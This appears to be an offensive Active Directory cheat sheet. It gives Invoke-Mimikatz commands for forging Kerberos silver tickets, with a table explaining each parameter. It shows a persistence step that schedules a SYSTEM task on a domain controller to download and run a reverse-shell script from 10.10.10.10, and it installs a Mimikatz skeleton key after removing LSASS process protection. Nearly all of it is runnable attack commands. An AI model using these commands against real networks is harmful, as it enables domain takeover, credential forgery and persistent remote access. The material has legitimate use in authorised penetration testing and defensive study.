Invoke-Mimikatz -Command '"kerberos::golden /domain:target.local /sid:S-1-5-x-x-x-x /target:machine.target.local /service:RPCSS/rc4:00000000000000000000000000000000 /user:Administrator /ptt"'
# Check WMI
Get-WmiObject -Class win32_operatingsystem -ComputerName machine.target.local
## Using a silver ticket for persistence
# Create a silver ticket for the HOST SPN which will allow us to schedule a task
Invoke-Mimikatz -Command '"kerberos::golden /domain:lab.domain.local /sid:S-1-5-x-x-x-x /target:DC01.lab.dmoain.local /service:HOST /rc4:00000000000000000000000000000000 /user:Administrator /ptt"'
# CONFIGURE REMOTE TASK
schtasks /create /S DC01.lab.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "Abuse01" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10/Invoke-PowerShellTcp.ps1''')'"
# EXEC REMOTE TASK
schtasks /Run /S DC01.lab.domain.local /TN "Abuse01"
| Invoke-Mimikatz -Command | Explanation |
|---|---|
| kerberos::golden | Name of the module (there is no Silver module!) |
| /User:Administrator | Username for which the TGT is generated |
| /domain:lab.domain.local | Domain FQDN |
| /sid:S-1-5-x-x-x-x | SID of the domain |
| /target:DC01.lab.domain.local | Target server FQDN |
| /service:cifs | The SPN name of service for which TGS is to be created |
| /rc4:00000000000000000000000000000000 | NTLM (RC4) hash of the service account. Use /aes128 and /aes256 for using AES keys |
| /id:500 /groups:512 | Optional User RID (default 500) and Group (default 513 512 520 518 519) |
| /ptt | Injects the ticket in current PowerShell process - no need to save the ticket on disk |
| /startoffset:0 | Optional when the ticket is available (default 0 - right now) in minutes. Use negative for a ticket available from past and a larger number for future |
| /endin:600 | Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes |
| /renewmax:10080 | Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800 |
Skeleton Keys
# REMOTE
$sess = New-PSSession DC01.domain.local
Enter-PSSession -Session $sess
# BYPASS AMSI AND EXIT
Invoke-Command -FilePath C:\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession -Session $sess
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
# OR
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName DC01.lab.dmoain.local
# LOGIN
Enter-PSSession -Computername DC01 -credential domain\Administrator
# PASSWORD mimikatz
## Skeleton Key with lsass running as a protected process
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
#! needs the mimikatz driver (mimidriv.sys) on disk of the target DC !#